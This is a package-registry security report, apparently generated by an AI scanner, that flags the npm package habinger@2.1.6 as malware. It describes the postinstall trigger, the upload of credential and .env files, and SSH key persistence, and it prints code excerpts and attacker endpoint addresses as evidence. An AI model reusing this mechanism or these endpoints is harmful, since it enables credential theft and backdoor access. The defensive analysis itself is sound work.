registry / Credential exfiltration / habinger
habinger
APIs in NodeJS should have a single source of truth for api specs between code and docs, as well as compile time type safety.
This report shows the evidence for habinger@2.1.6, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an automatically triggered credential/configuration exfiltration chain plus attempted SSH persistence. The hard-coded external endpoints and remote-controlled key/pattern inputs provide a concrete malicious attack path.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
`npm install` executes `postinstall` → `node test.js`.
Impact
Secret/configuration theft, unauthorized SSH access, and firewall modification.
Mechanism
Remote-directed file exfiltration and SSH authorized-key persistence.
Attack narrative
On installation, `test.js` calls both malicious routines. One searches the installation working directory for common identity/configuration and environment files, prefixes them with the local username, and uploads them. The other retrieves attacker-controlled scan patterns and an SSH key, scans the user home directory, uploads matching files, then on Linux attempts to add the fetched key to `authorized_keys` and enable inbound SSH through `sudo ufw`.
AI rationale
Direct source inspection confirms an automatically triggered credential/configuration exfiltration chain plus attempted SSH persistence. The hard-coded external endpoints and remote-controlled key/pattern inputs provide a concrete malicious attack path.
Evidence
package.jsontest.jsindex.js${HOME}/.ssh/authorized_keysprocess.cwd()/**/{id.json,config.toml,Config.toml,env,.env}
Network endpoints5
170.205.31.203:3000/api/v1170.205.31.203:3001/api/ssh-key170.205.31.203:3001/api/scan-patterns170.205.31.203:3001/api/block-patterns170.205.31.203:3001/api/v1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` runs `node test.js` in `postinstall`.
- `test.js` invokes both export functions during installation.
- `index.js` recursively finds `id.json`, TOML, and env files under the install CWD, then uploads contents.
- `index.js` fetches a remote SSH key and appends it to `${HOME}/.ssh/authorized_keys` on Linux.
- `index.js` scans the home directory using remotely supplied patterns and uploads matching files.
- `index.js` enables SSH through `sudo ufw` commands.
Evidence against
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
UrlStrings
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node test.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•Runtime dependency names matching Node built-ins: child_process, os
High
Node Builtin Dependency Squat
Package declares a runtime dependency whose name matches a Node built-in module.
package.jsonView on unpkgindex.jsView file
1const { execSync, execFileSync } = require("child_process");
L2: const fs = require("fs");
L3: const path = require("path");
L4: const axios = require("axios");
L5: const FormData = require("form-data");
L6: const os = require("os");
...
L37: const fileData = fs.readFileSync(filePath);
L38: const envUser = process.env.USER || "unknown";
L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]);
L40: const filename = path.basename(filePath) || "file.bin";
...
L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"];
L54: const cwd = process.cwd();
Critical
Findings
2 Critical4 High3 Medium3 Low
CriticalPersistence Backdoorindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationindex.js
HighSandbox Evasion Gated Capabilityindex.js
HighNode Builtin Dependency Squatpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to habinger@2.1.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing habinger@2.1.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.